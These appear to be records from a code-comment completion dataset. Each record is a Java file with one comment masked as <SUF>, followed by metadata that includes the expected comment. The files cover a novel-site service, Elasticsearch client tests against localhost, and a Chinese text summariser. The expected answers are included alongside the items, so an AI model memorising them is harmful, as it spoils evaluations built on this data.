@Service
public class NovelServiceimpl implements NovelService {
@Value("${Recommend}")
private String Recommend;
@Autowired
private NovelMapper novelMapper;
@Autowired
private ContentMapper contentMapper;
@Autowired
private ChapterMapper chapterMapper;
@Autowired
private RedisClient redisClient;
@Autowired
private ReportService reportService;
@Autowired
private MessageService messageService;
@Autowired
private NovelLowerService novelLowerService;
public List<Novel> getNovels(String novelName) {
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
criteria.andTitleLike("%"+novelName+"%");
List<Novel> selectByExample = novelMapper.selectByExample(example);
return selectByExample;
}
@Override
public Content getChapterContent(Integer contentid) {
ContentKey key = new ContentKey();
Content content = contentMapper.selectByPrimaryKey(key);
return content;
}
@Override
public Novel getNovel(Integer id) {
Novel novelbd = novelMapper.selectByPrimaryKey(id);
return novelbd;
}
@Override
public List<Chapter> getChapters(int novelId) {
ChapterExample example = new ChapterExample();
ChapterExample.Criteria criteria = example.createCriteria();
criteria.andNovelidEqualTo(novelId);
example.setOrderByClause("num asc");
List<Chapter> chapters = chapterMapper.selectByExample(example);
return chapters;
}
@Override
public List<Novel> getUserNovels(List<Integer> novelids) {
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
criteria.andIdIn(novelids);
List<Novel> userNovels = novelMapper.selectByExample(example);
return userNovels;
}
@Override
public Content readNovel(Integer contentid,Integer novelid) {
ContentKey key = new ContentKey(contentid, novelid);
Content content = contentMapper.selectByPrimaryKey(key);
return content;
}
@Override
public List<Novel> getRecommendNovel(int start, int end,String type) {
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
List<Integer> zincrB = new ArrayList<>();
if (type != null) {
zincrB = redisClient.getZincrB(type, start, end);
}else {
// 先从redis获取排行值
zincrB = redisClient.getZincrB(Recommend, start, end);
}
if (zincrB.size() == 0) {
return null;
}
criteria.andIdIn(zincrB);
List<Novel> recommendNovels = novelMapper.selectByExample(example);
return recommendNovels;
}
@Override
public Msg deleteNovel(Report report) {
//查询 <SUF>
Novel selectByPrimaryKey = novelMapper.selectByPrimaryKey(report.getNovelid());
if(selectByPrimaryKey==null) {
return Msg.fail("删除的小说不存在");
}
novelLowerService.addLower(report.getNovelid());
/* //开始删除
ChapterExample example = new ChapterExample();
com.novel.bean.ChapterExample.Criteria criteria = example.createCriteria();
criteria.andNovelidEqualTo(report.getNovelid());
chapterMapper.deleteByExample(example);
//删除内容
ContentExample contentExample = new ContentExample();
com.novel.bean.ContentExample.Criteria criteriacontent = contentExample.createCriteria();
criteriacontent.andNovelidEqualTo(report.getNovelid());
contentMapper.deleteByExample(contentExample);
//删除小说名字
novelMapper.deleteByPrimaryKey(report.getNovelid());*/
//修改举报记录
reportService.updateState(report.getId());
//向举报人发送信息
Message message = new Message();
message.setTitle("举报消息反馈");
String body = "尊敬的用户您好,您举报的小说"+selectByPrimaryKey.getTitle()+""
+ "我们已经在"+new Date()+"处理了。处理结果如下<br>"
+"由用户"+selectByPrimaryKey.getProduct()+"提供的小说因为"+report.getReporttype()+"原因现已删除。"
+"同时我们对此声表道歉 ,信息你的反馈";
message.setBody(body);
message.setSendname("Admin:");
message.setSaveid(report.getUserid());
message.setCreatetime(new Date());
message.setUpdatetime(new Date());
messageService.addMessage(message);
return Msg.success();
}
@Override
public Msg getFootPrint(String ids) {
String[] split = ids.split("-");
List<Integer> listid = new ArrayList<>();
for (String string : split) {
listid.add(Integer.parseInt(string));
}
NovelExample example = new NovelExample();
Criteria criteria = example.createCriteria();
criteria.andIdIn(listid);
List<Novel> recommendNovels = novelMapper.selectByExample(example);
return Msg.success().add("recommendNovels", recommendNovels);
}
@Override
public Msg novelcount() {
int novelcount = novelMapper.selectCount();
return Msg.success().add("novelcount", novelcount);
}
@Override
public Novel getetNovelByid(Integer id) {
Novel novel = novelMapper.selectByPrimaryKey(id);
return novel;
}
@Override
public Msg getContentCount(Integer novelid) {
Integer count = chapterMapper.selectContentCount(novelid);
return Msg.success().add("count", count);
}
}
| 0 |
41414_7 | package com.biggw;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.transport.TransportClient;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.text.Text;
import org.elasticsearch.common.transport.TransportAddress;
import org.elasticsearch.common.xcontent.XContentBuilder;
import org.elasticsearch.common.xcontent.XContentFactory;
import org.elasticsearch.common.xcontent.XContentType;
import org.elasticsearch.index.query.*;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.search.SearchHits;
import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder;
import org.elasticsearch.search.fetch.subphase.highlight.HighlightField;
import org.elasticsearch.transport.client.PreBuiltTransportClient;
import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
/**
* @author gw
* @date 2019/12/3 0003 下午 16:41
*/
public class ElasticSearchClientTest {
private TransportClient client = null;
@Before
public void init() throws UnknownHostException {
Settings settings = Settings.builder()
.put("cluster.name", "ES-Cluster")
.put("client.transport.sniff", false)// 自动嗅探整个集群的状态,把集群中其他ES节点的ip添加到本地的客户端列表中
.build();
client = new PreBuiltTransportClient(settings);
// 3.客服端去连接集群
// 此步骤添加 IP ,至少一个,其实一个就够了,因为添加了自动嗅探配置
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9301));
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9302));
}
@Test
public void testClient() throws Exception{
// 1.创建一个Settings对象,相当于是一个配置信息,主要配置集群的名称
Settings settings = Settings.builder()
.put("cluster.name", "ES-Cluster")
.put("client.transport.sniff", false)// 自动嗅探整个集群的状态,把集群中其他ES节点的ip添加到本地的客户端列表中
.build();
// 2.创建一个client客户端对象
TransportClient client = new PreBuiltTransportClient(settings);
// 3.客服端去连接集群
// 此步骤添加 IP ,至少一个,其实一个就够了,因为添加了自动嗅探配置
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9301));
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9302));
// 4.使用client对象创建一个索引库
client.admin().indices().prepareCreate("es2_index")
// 执行操作
.get();
// 5.关闭client对象
client.close();
}
@Test
public void testMappings() throws Exception{
// 1.创建一个Settings对象,相当于是一个配置信息,主要配置集群的名称
Settings settings = Settings.builder()
.put("cluster.name", "ES-Cluster")
.put("client.transport.sniff", false)// 自动嗅探整个集群的状态,把集群中其他ES节点的ip添加到本地的客户端列表中
.build();
// 2.创建一个client客户端对象
TransportClient client = new PreBuiltTransportClient(settings);
// 3.客服端去连接集群
// 此步骤添加 IP ,至少一个,其实一个就够了,因为添加了自动嗅探配置
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9301));
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9302));
// 4.创建Mappings
XContentBuilder xContentBuilder = XContentFactory.jsonBuilder()
.startObject()
.startObject("article")
.startObject("properties")
.startObject("id")
.field("type","long")
.field("store",true)
.field("index",false)
.endObject()
.startObject("title")
.field("type","text")
.field("store",true)
.field("index",true)
.field("analyzer","ik_smart")
.endObject()
.startObject("content")
.field("type","text")
.field("store",true)
.field("index",true)
.field("analyzer","ik_smart")
.endObject()
.endObject()
.endObject()
.endObject();
client.admin().indices().preparePutMapping("es2_index") // 设置索引
.setType("article") // 设置type,这个必须取自上面
.setSource(xContentBuilder) // 设置mapping信息
.get(); // 执行命令
}
@Test
public void testDocument() throws IOException {
XContentBuilder builder = XContentFactory.jsonBuilder()
.startObject()
.field("id",1)
.field("title","北京")
.field("content","下雪啦")
.endObject();
// 把文档对象添加到索引库
client.prepareIndex()
.setIndex("es2_index")
.setType("article")
.setId("1")
.setSource(builder)
// 执行操作
.get();
client.close();
}
@Test
public void testDocumentWithJson() throws IOException {
Article article = new Article();
article.setId(3);
article.setTitle("北京哈哈哈");
article.setContent("我们可以一起撒谎见个面");
ObjectMapper mappers = new ObjectMapper();
String s = mappers.writeValueAsString(article);
System.out.println("s = " + s);
// 把文档对象添加到索引库
client.prepareIndex()
.setIndex("es2_index")
.setType("article")
.setId("3")
.setSource(s, XContentType.JSON)
.get();
client.close();
}
@Test
public void testDocumentWithJsonBulk() throws IOException {
for (int i = 4; i < 50; i++) {
Article article = new Article();
article.setId(i);
article.setTitle("北京哈哈哈"+i);
article.setContent("我们可以一起撒谎见个面"+i);
ObjectMapper mappers = new ObjectMapper();
String s = mappers.writeValueAsString(article);
// System.out.println("s = " + s);
// 把文档对象添加到索引库
client.prepareIndex()
.setIndex("es2_index")
.setType("article")
.setId(String.valueOf(i))
.setSource(s, XContentType.JSON)
.get();
}
client.close();
}
@Test
public void testQueryById(){
// 1.准备client对象
// 2.准备查询语句
IdsQueryBuilder queryBuilder = QueryBuilders.idsQuery().addIds("1", "2");
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryBuilder)
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, Object> sourceAsMap = next.getSourceAsMap();
// Map<String, Object> sourceAsMap = next.getSource();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
client.close();
}
@Test
public void testQueryByTerm(){
// 1.准备client对象
// 2.准备查询语句
TermQueryBuilder termQueryBuilder = QueryBuilders.termQuery("title", "北京");
query(termQueryBuilder);
client.close();
}
@Test
public void testQueryByQueryString(){
// 1.准备client对象
// 2.准备查询语句
QueryStringQueryBuilder queryString = QueryBuilders.queryStringQuery("北京").queryName("title");
query(queryString);
QueryStringQueryBuilder queryString2 = QueryBuilders.queryStringQuery("北京").defaultField("title");
query(queryString2);
client.close();
}
@Test
public void testQueryByQueryStringPage(){
// 1.准备client对象
// 2.准备查询语句
QueryStringQueryBuilder queryString = QueryBuilders.queryStringQuery("北京").queryName("title");
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryString)
.setFrom(0) // 起始行号
.setSize(5) // 每页多少记录
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, Object> sourceAsMap = next.getSourceAsMap();
// Map<String, Object> sourceAsMap = next.getSource();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
client.close();
}
public void query(QueryBuilder queryBuilder){
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryBuilder)
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, Object> sourceAsMap = next.getSourceAsMap();
// Map<String, Object> sourceAsMap = next.getSource();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
}
@Test
public void testQueryByQueryStringColor(){
// 1.准备client对象
// 2.准备查询语句
QueryStringQueryBuilder queryString = QueryBuilders.queryStringQuery("我们").queryName("content");
queryColor(queryString,"content");
client.close();
}
public void queryColor(QueryBuilder queryBuilder,String... highLightFields){
HighlightBuilder builder = null;
if(highLightFields!=null && highLightFields.length>0){
for (int i = 0; i < highLightFields.length; i++) {
builder = new HighlightBuilder();
builder.field(highLightFields[i]);
builder.preTags("<em>");
builder.postTags("</em>");
}
}
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryBuilder)
// .setHighlighterEncoder("content")
.highlighter(builder)
.setFrom(0)
.setSize(5)
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, HighlightField> sourceAsMap = next.getHighlightFields();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator2 = hits.iterator();
ArrayList<Text> fragments = new ArrayList<>();
while (iterator2.hasNext()){
Map<String, HighlightField> highlightFields = iterator2.next().getHighlightFields();
HighlightField content = highlightFields.get("content");
// System.out.println(content.getFragments());
fragments.add(content.getFragments()[0]);
System.out.println(content);
}
System.out.println("==========================================================");
for (Text fragment : fragments) {
System.out.println(fragment);
}
}
}
| 1325075688gw/new_study5 | day46-ES-Cluster/src/main/java/com/biggw/ElasticSearchClientTest.java | 3,476 | // 3.客服端去连接集群 | line_comment | zh-cn | package com.biggw;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.transport.TransportClient;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.text.Text;
import org.elasticsearch.common.transport.TransportAddress;
import org.elasticsearch.common.xcontent.XContentBuilder;
import org.elasticsearch.common.xcontent.XContentFactory;
import org.elasticsearch.common.xcontent.XContentType;
import org.elasticsearch.index.query.*;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.search.SearchHits;
import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder;
import org.elasticsearch.search.fetch.subphase.highlight.HighlightField;
import org.elasticsearch.transport.client.PreBuiltTransportClient;
import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
/**
* @author gw
* @date 2019/12/3 0003 下午 16:41
*/
public class ElasticSearchClientTest {
private TransportClient client = null;
@Before
public void init() throws UnknownHostException {
Settings settings = Settings.builder()
.put("cluster.name", "ES-Cluster")
.put("client.transport.sniff", false)// 自动嗅探整个集群的状态,把集群中其他ES节点的ip添加到本地的客户端列表中
.build();
client = new PreBuiltTransportClient(settings);
// 3.客服端去连接集群
// 此步骤添加 IP ,至少一个,其实一个就够了,因为添加了自动嗅探配置
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9301));
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9302));
}
@Test
public void testClient() throws Exception{
// 1.创建一个Settings对象,相当于是一个配置信息,主要配置集群的名称
Settings settings = Settings.builder()
.put("cluster.name", "ES-Cluster")
.put("client.transport.sniff", false)// 自动嗅探整个集群的状态,把集群中其他ES节点的ip添加到本地的客户端列表中
.build();
// 2.创建一个client客户端对象
TransportClient client = new PreBuiltTransportClient(settings);
// 3. <SUF>
// 此步骤添加 IP ,至少一个,其实一个就够了,因为添加了自动嗅探配置
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9301));
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9302));
// 4.使用client对象创建一个索引库
client.admin().indices().prepareCreate("es2_index")
// 执行操作
.get();
// 5.关闭client对象
client.close();
}
@Test
public void testMappings() throws Exception{
// 1.创建一个Settings对象,相当于是一个配置信息,主要配置集群的名称
Settings settings = Settings.builder()
.put("cluster.name", "ES-Cluster")
.put("client.transport.sniff", false)// 自动嗅探整个集群的状态,把集群中其他ES节点的ip添加到本地的客户端列表中
.build();
// 2.创建一个client客户端对象
TransportClient client = new PreBuiltTransportClient(settings);
// 3.客服端去连接集群
// 此步骤添加 IP ,至少一个,其实一个就够了,因为添加了自动嗅探配置
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9301));
client.addTransportAddress(new TransportAddress(InetAddress.getByName("127.0.0.1"),9302));
// 4.创建Mappings
XContentBuilder xContentBuilder = XContentFactory.jsonBuilder()
.startObject()
.startObject("article")
.startObject("properties")
.startObject("id")
.field("type","long")
.field("store",true)
.field("index",false)
.endObject()
.startObject("title")
.field("type","text")
.field("store",true)
.field("index",true)
.field("analyzer","ik_smart")
.endObject()
.startObject("content")
.field("type","text")
.field("store",true)
.field("index",true)
.field("analyzer","ik_smart")
.endObject()
.endObject()
.endObject()
.endObject();
client.admin().indices().preparePutMapping("es2_index") // 设置索引
.setType("article") // 设置type,这个必须取自上面
.setSource(xContentBuilder) // 设置mapping信息
.get(); // 执行命令
}
@Test
public void testDocument() throws IOException {
XContentBuilder builder = XContentFactory.jsonBuilder()
.startObject()
.field("id",1)
.field("title","北京")
.field("content","下雪啦")
.endObject();
// 把文档对象添加到索引库
client.prepareIndex()
.setIndex("es2_index")
.setType("article")
.setId("1")
.setSource(builder)
// 执行操作
.get();
client.close();
}
@Test
public void testDocumentWithJson() throws IOException {
Article article = new Article();
article.setId(3);
article.setTitle("北京哈哈哈");
article.setContent("我们可以一起撒谎见个面");
ObjectMapper mappers = new ObjectMapper();
String s = mappers.writeValueAsString(article);
System.out.println("s = " + s);
// 把文档对象添加到索引库
client.prepareIndex()
.setIndex("es2_index")
.setType("article")
.setId("3")
.setSource(s, XContentType.JSON)
.get();
client.close();
}
@Test
public void testDocumentWithJsonBulk() throws IOException {
for (int i = 4; i < 50; i++) {
Article article = new Article();
article.setId(i);
article.setTitle("北京哈哈哈"+i);
article.setContent("我们可以一起撒谎见个面"+i);
ObjectMapper mappers = new ObjectMapper();
String s = mappers.writeValueAsString(article);
// System.out.println("s = " + s);
// 把文档对象添加到索引库
client.prepareIndex()
.setIndex("es2_index")
.setType("article")
.setId(String.valueOf(i))
.setSource(s, XContentType.JSON)
.get();
}
client.close();
}
@Test
public void testQueryById(){
// 1.准备client对象
// 2.准备查询语句
IdsQueryBuilder queryBuilder = QueryBuilders.idsQuery().addIds("1", "2");
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryBuilder)
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, Object> sourceAsMap = next.getSourceAsMap();
// Map<String, Object> sourceAsMap = next.getSource();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
client.close();
}
@Test
public void testQueryByTerm(){
// 1.准备client对象
// 2.准备查询语句
TermQueryBuilder termQueryBuilder = QueryBuilders.termQuery("title", "北京");
query(termQueryBuilder);
client.close();
}
@Test
public void testQueryByQueryString(){
// 1.准备client对象
// 2.准备查询语句
QueryStringQueryBuilder queryString = QueryBuilders.queryStringQuery("北京").queryName("title");
query(queryString);
QueryStringQueryBuilder queryString2 = QueryBuilders.queryStringQuery("北京").defaultField("title");
query(queryString2);
client.close();
}
@Test
public void testQueryByQueryStringPage(){
// 1.准备client对象
// 2.准备查询语句
QueryStringQueryBuilder queryString = QueryBuilders.queryStringQuery("北京").queryName("title");
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryString)
.setFrom(0) // 起始行号
.setSize(5) // 每页多少记录
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, Object> sourceAsMap = next.getSourceAsMap();
// Map<String, Object> sourceAsMap = next.getSource();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
client.close();
}
public void query(QueryBuilder queryBuilder){
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryBuilder)
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, Object> sourceAsMap = next.getSourceAsMap();
// Map<String, Object> sourceAsMap = next.getSource();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
}
@Test
public void testQueryByQueryStringColor(){
// 1.准备client对象
// 2.准备查询语句
QueryStringQueryBuilder queryString = QueryBuilders.queryStringQuery("我们").queryName("content");
queryColor(queryString,"content");
client.close();
}
public void queryColor(QueryBuilder queryBuilder,String... highLightFields){
HighlightBuilder builder = null;
if(highLightFields!=null && highLightFields.length>0){
for (int i = 0; i < highLightFields.length; i++) {
builder = new HighlightBuilder();
builder.field(highLightFields[i]);
builder.preTags("<em>");
builder.postTags("</em>");
}
}
// 3.执行查询语句
SearchResponse searchResponse = client.prepareSearch()
.setIndices("es2_index")
.setTypes("article")
.setQuery(queryBuilder)
// .setHighlighterEncoder("content")
.highlighter(builder)
.setFrom(0)
.setSize(5)
.get();
// 4.获取查询结果
SearchHits hits = searchResponse.getHits();
// 5.获取查询结果数
long totalHits = hits.getTotalHits();
System.out.println("totalHits = " + totalHits);
// 6.遍历查询结果集
Iterator<SearchHit> iterator = hits.iterator();
while (iterator.hasNext()){
SearchHit next = iterator.next();
// 打印整个文档对象
System.out.println(next.getSourceAsString());
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator1 = hits.iterator();
while(iterator1.hasNext()){
SearchHit next = iterator1.next();
// 按照键值对打印
Map<String, HighlightField> sourceAsMap = next.getHighlightFields();
Set<String> strings = sourceAsMap.keySet();
for (String string : strings) {
System.out.println(string+": "+sourceAsMap.get(string));
}
}
System.out.println("==========================================================");
Iterator<SearchHit> iterator2 = hits.iterator();
ArrayList<Text> fragments = new ArrayList<>();
while (iterator2.hasNext()){
Map<String, HighlightField> highlightFields = iterator2.next().getHighlightFields();
HighlightField content = highlightFields.get("content");
// System.out.println(content.getFragments());
fragments.add(content.getFragments()[0]);
System.out.println(content);
}
System.out.println("==========================================================");
for (Text fragment : fragments) {
System.out.println(fragment);
}
}
}
| 0 |
43182_17 | package cosSimilar;
import java.io.IOException;
import java.io.Reader;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.wltea.analyzer.core.IKSegmenter;
import org.wltea.analyzer.core.Lexeme;
/**
*
* <p>Title:</p>
* <p>Description: SimpleSummariser
* </p>
* @createDate:2013-8-26
* @author xq
* @version 1.0
*/
public class SimpleSummariserAlgorithm {
/**
*
* @Title: summarise
* @Description: 文章摘要实现
* @param @param input
* @param @param numSentences
* @param @return
* @return String
* @throws
*/
public static String summarise(String input, int numSentences) {
// get the frequency of each word in the input
Map<String,Integer> wordFrequencies = segStr(input);
// now create a set of the X most frequent words
Set<String> mostFrequentWords = getMostFrequentWords(100, wordFrequencies).keySet();
// break the input up into sentences
// workingSentences is used for the analysis, but
// actualSentences is used in the results so that the
// capitalisation will be correct.
String[] workingSentences = getSentences(input.toLowerCase());
String[] actualSentences = getSentences(input);
// iterate over the most frequent words, and add the first sentence
// that includes each word to the result
Set<String> outputSentences = new LinkedHashSet<String>();
Iterator<String> it = mostFrequentWords.iterator();
while (it.hasNext()) {
String word = (String) it.next();
for (int i = 0; i < workingSentences.length; i++) {
if (workingSentences[i].indexOf(word) >= 0) {
outputSentences.add(actualSentences[i]);
break;
}
if (outputSentences.size() >= numSentences) {
break;
}
}
if (outputSentences.size() >= numSentences) {
break;
}
}
List<String> reorderedOutputSentences = reorderSentences(outputSentences, input);
StringBuffer result = new StringBuffer("");
it = reorderedOutputSentences.iterator();
while (it.hasNext()) {
String sentence = (String) it.next();
result.append(sentence);
result.append("."); // This isn't always correct - perhaps it should be whatever symbol the sentence finished with
if (it.hasNext()) {
result.append(" ");
}
}
return result.toString();
}
/**
*
* @Title: reorderSentences
* @Description: 将句子按顺序输出
* @param @param outputSentences
* @param @param input
* @param @return
* @return List<String>
* @throws
*/
private static List<String> reorderSentences(Set<String> outputSentences, final String input) {
// reorder the sentences to the order they were in the
// original text
ArrayList<String> result = new ArrayList<String>(outputSentences);
Collections.sort(result, new Comparator<String>() {
public int compare(String arg0, String arg1) {
String sentence1 = (String) arg0;
String sentence2 = (String) arg1;
int indexOfSentence1 = input.indexOf(sentence1.trim());
int indexOfSentence2 = input.indexOf(sentence2.trim());
int result = indexOfSentence1 - indexOfSentence2;
return result;
}
});
return result;
}
/**
*
* @Title: getMostFrequentWords
* @Description: 对分词进行按数量排序,取出前num个
* @param @param num
* @param @param words
* @param @return
* @return Map<String,Integer>
* @throws
*/
public static Map<String, Integer> getMostFrequentWords(int num,Map<String, Integer> words){
Map<String, Integer> keywords = new LinkedHashMap<String, Integer>();
int count=0;
// 词频统计
List<Map.Entry<String, Integer>> info = new ArrayList<Map.Entry<String, Integer>>(words.entrySet());
Collections.sort(info, new Comparator<Map.Entry<String, Integer>>() {
public int compare(Map.Entry<String, Integer> obj1, Map.Entry<String, Integer> obj2) {
return obj2.getValue() - obj1.getValue();
}
});
// 高频词输出
for (int j = 0; j < info.size(); j++) {
// 词-->频
if(info.get(j).getKey().length()>1){
if(num>count){
keywords.put(info.get(j).getKey(), info.get(j).getValue());
count++;
}else{
break;
}
}
}
return keywords;
}
/**
*
* @Title: segStr
* @Description: 返回LinkedHashMap的分词
* @param @param content
* @param @return
* @return Map<String,Integer>
* @throws
*/
public static Map<String, Integer> segStr(String content){
// 分词
Reader input = new StringReader(content);
// 智能分词关闭(对分词的精度影响很大)
IKSegmenter iks = new IKSegmenter(input, true);
Lexeme lexeme = null;
Map<String, Integer> words = new LinkedHashMap<String, Integer>();
try {
while ((lexeme = iks.next()) != null) {
if (words.containsKey(lexeme.getLexemeText())) {
words.put(lexeme.getLexemeText(), words.get(lexeme.getLexemeText()) + 1);
} else {
words.put(lexeme.getLexemeText(), 1);
}
}
}catch(IOException e) {
e.printStackTrace();
}
return words;
}
/**
*
* @Title: getSentences
* @Description: 把段落按. ! ?分隔成句组
* @param @param input
* @param @return
* @return String[]
* @throws
*/
public static String[] getSentences(String input) {
if (input == null) {
return new String[0];
} else {
// split on a ".", a "!", a "?" followed by a space or EOL
//"(\\.|!|\\?)+(\\s|\\z)"
return input.split("(\\.|!|\\?)");
}
}
public static void main(String[] args){
String s="被告人:对? 关于王立军,有几个基本事实.首先,1月28日我是初次听到此事.并不相信谷开来会杀人.我跟11·15杀人案无关.我不是谷开来11·15杀人罪的共犯.这个大家都认可.实际上谷开来3月14日她在北京被抓走!" +
"在这之前她一直非常确切地跟我说她没杀人,是王立军诬陷她.我在1月28日和次听到这个事时我不相信她会杀人." +
"第二个事实,免王立军的局长.是多个因素.一个,我确实认为他诬陷谷开来.但我并不是想掩盖11·15,我是觉得他人品不好." +
"因为谷开来和他是如胶似漆,谷开来对他是言听计从,那王立军也通过与谷开来的交往中打入了我的家庭." +
"那现在发生这么严重的事.作为一个起码的人,要讲人格的话,你干吗不找谷开来商量,而跑我这里来说这些话?" +
"第二个免他的原因,是他想要挟我.他多次谈他身体不好,打黑压力大,得罪了人." +
"其实这是在表功.第三,徐某某给我反映了他有五六条问题.有记录.实际上免他是有这些原因的,绝不只是一个谷开来的原因.这是多因一果.";
Map<String, Integer> ss = segStr(s);
